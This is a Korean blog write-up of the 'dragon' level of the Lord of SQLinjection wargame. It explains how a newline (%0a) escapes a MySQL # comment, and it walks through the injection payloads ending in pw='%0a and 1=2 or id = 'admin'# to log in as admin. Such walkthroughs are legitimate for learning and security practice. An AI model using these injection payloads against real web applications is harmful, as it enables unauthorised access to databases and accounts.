이번 문제는 보자마자 Hello guest로 고정이 되어있다.
쿼리문을 보면 id = 'guest' # 로 주석처리가 되어있어서 pw에 그 어떤 값을 넣어도 주석처리되어 실행되지 않았다.
id = 'guest' # 을 어떻게 내가 바꿀 수 없기에 생각했던 방법이 개행을 통한 주석처리 우회였다.
sql 테스트 페이지에서 개행을 시도해보았다. 비슷한 구조로 쿼리를 짰다.
일단, 우리는 위에 해결해야 하는 쿼리에서 id = guest가 아닌 id = admin인 결과가 필요하다.
이 테스트에서는 id = 1이 고정되어있는데, id = 2 결과를 출력해야 하는 셈이다. 그러면 id = 1 인 쿼리를 false로 만들고 or를 통해 id = 2 를 실행시켜야 한다.
# 이하는 주황색으로 주석처리 되었지만, 그 뒤에 오는 and 1=2 로 false를 만들고
or id = 2 를 통해 where id = 2 로 결국 만든거다.
본격적으로 풀면 먼저 개행을 시켜보자
pw에 어떤 값이 들어가던지 주석처리로 인해 id = 'guest' 까지만 유효하다
payload : pw=%0a
개행문자 (\n) 인 %0a 를 입력하니 더이상 Hello guest 문구가 보이질 않는다..... 그 이유는
select id from prob_dragon where id='guest'# and pw='
'
사실상 위에 코드처럼 개행이 된 것이다. (문구안보임)
그 이유는 개행 후 두번째 라인이 싱글쿼터 짝이 유효하지 않기 때문이다.
payload : pw=%0a'
반면 싱글쿼터로 닫으려고 하니 오히려 hello guest가 보인다..
select id from prob_dragon where id='guest'# and pw='
''
그 이유는 위 코드와 같이 첫번째 select문은 정상 실행되고 뒤에 오는 싱글쿼터는 짝이 맞게 떨어지니까 id = 'guest'가 실행된다.
어쨌든 개행이 잘 적용되므로, id = 'guest' 를 무력화해보자.
payload : pw=' %0a and 1=2 #
and 1=2 를 통해 앞 쿼리문을 무력화한다.
select id from prob_dragon where id='guest'# and pw=''
and 1=2 #'
반대로,
and 1=1 을 해주면 모두 참이 되므로 id = 'guest'가 유효하게 된다.
select id from prob_dragon where id='guest'# and pw=''
and 1=1 #'
그러면, id = 'guest'를 무효화했으니 id = 'admin'을 넣어주자.
payload : pw= '%0a and 1=2 or id = 'admin'#
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step22. dark_eyes 풀이 (0) | 2023.06.20 |
---|---|
[LOS] step21. iron_golem 풀이 (1) | 2023.06.19 |
[LOS] step19. xvais 풀이 (1) | 2023.06.15 |
[LOS] step18. nightmare 풀이 (0) | 2023.06.14 |
[LOS] step17. zombie_assassin 풀이 (0) | 2023.06.14 |